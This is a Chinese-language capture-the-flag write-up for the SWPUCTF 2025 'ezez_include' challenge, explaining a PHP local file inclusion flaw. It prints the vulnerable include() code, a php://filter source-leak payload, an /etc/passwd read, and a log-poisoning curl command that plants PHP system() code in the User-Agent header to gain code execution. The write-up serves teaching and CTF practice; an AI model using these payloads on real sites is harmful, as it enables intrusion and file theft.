0%

SWPUCTF 2025 秋季新生赛 ezez_include Writeup

2026-01-09 11:46By
weiqixy3
文件上传文件包含目录扫描

SWPUCTF 2025 秋季新生赛 ezez_include Writeup

题目分析

题目给出了一个文件读取/包含的接口。通过 POST 请求参数 nss 可以读取或包含服务器上的文件。

解题过程

  1. 源码泄露
    使用 php://filter 伪协议读取 index.php 的 Base64 编码源码。

    nss=php://filter/read=convert.base64-encode/resource=index.php

    解码后得到关键逻辑:

    if (isset($_POST['nss'])) { $file = $_POST['nss']; echo "file: " . htmlspecialchars($file) . "<br><br>"; include($file); }

    这里直接将用户输入的 $file 传入了 include() 函数,且没有进行过滤,存在典型的文件包含漏洞(LFI)

  2. 环境探测

    • 尝试读取 /flag,提示文件不存在。
    • 尝试读取 /etc/passwd,成功。
    • 探测发现 allow_url_includeOff,无法直接使用 data://php://input 进行远程代码执行。
  3. 日志包含漏洞利用(LFI to RCE)
    由于无法直接包含远程文件,考虑利用本地日志包含。

    • 服务器使用 Nginx,默认日志路径为 /var/log/nginx/access.log
    • 通过发送带有 PHP 代码的 User-Agent 头部,将恶意代码写入日志:
      curl -H "User-Agent: <?php system('ls /'); ?>" http://node1.anna.nssctf.cn:23395/
    • 包含日志文件以执行代码:
      nss=/var/log/nginx/access.log
    • 在命令执行结果中,发现根目录下有一个名字异常的文件:/ffffflalalallalalalalalalalg
  4. 获取 Flag
    直接包含该文件:

    nss=/ffffflalalallalalalalalalalg

    成功获得 Flag。

总结

该题考察了:

  1. PHP 伪协议的使用。
  2. 本地文件包含(LFI)的基本利用。
  3. Nginx 日志包含进阶利用获取 RCE。
  4. 根目录异常文件探测。
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论